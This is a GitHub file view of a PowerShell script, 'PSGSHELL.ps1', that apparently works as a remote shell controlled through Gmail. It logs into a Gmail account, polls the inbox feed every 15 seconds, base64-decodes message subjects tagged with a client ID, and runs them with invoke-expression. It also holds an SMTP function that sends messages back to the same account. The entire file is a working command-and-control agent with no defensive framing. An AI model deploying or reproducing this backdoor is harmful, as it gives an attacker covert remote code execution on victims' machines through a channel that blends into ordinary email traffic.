-
Notifications
You must be signed in to change notification settings - Fork 4
/
PSGSHELL.ps1
76 lines (50 loc) · 1.9 KB
/
PSGSHELL.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
cls
$username = "emailaddress@gmail.com"
$password = "password goes here"
$client_name = "client ID number ext 123533"
Function sendmail($message){
$SMTPServer = "smtp.gmail.com"
$SMTPPort = "587"
$to = $username
$from = $username
#If you want to create an email filter and remove emails that come into the inbox that start with "Email From client" you can use the following to include the $client_name.
#Emails with $client_name in the subject line break the script if they arent the syntax that the commander sends. So by default this options is set to not send $client_name in subject.
#$subject = "Email from Client " + $client_name
$subject = "Email from Client"
$body = $message
$smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
$smtp.EnableSSL = $true
$smtp.Credentials = New-Object System.Net.NetworkCredential($username, $password);
$smtp.send($from, $to, $subject, $body)
}
$check = $null
While($true){
start-sleep -s 15
$url = "https://mail.google.com/mail/feed/atom"
$webclient = new-object System.Net.WebClient
$username_01 = $username.split('@')[0]
$webclient.Credentials = new-object System.Net.NetworkCredential($username_01, $password)
$xml = $webclient.DownloadString($url)
$xml = [xml]$xml
$inbox = $xml.feed.entry
$object_01 = New-object psobject -property @{
Title = $msg.title
Time = $msg.issued
}
$array = @()
foreach ($msg in $inbox){
$object_001 = $object_01|select-object *
$issued = $msg.issued
$title = $msg.title
$title = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($title))
$object_001.Time = $issued
$object_001.Title = $title
$array += $object_001
}
$finder = $array|where-object {$_.Title -match $client_name}|sort-object -property Time |select-object -last 1
if($check) {if ([datetime]$finder.Time -eq [datetime]$check){continue}}
$command = $finder.title.split('~')[0]
$command
invoke-expression $command
$check = $finder.Time
}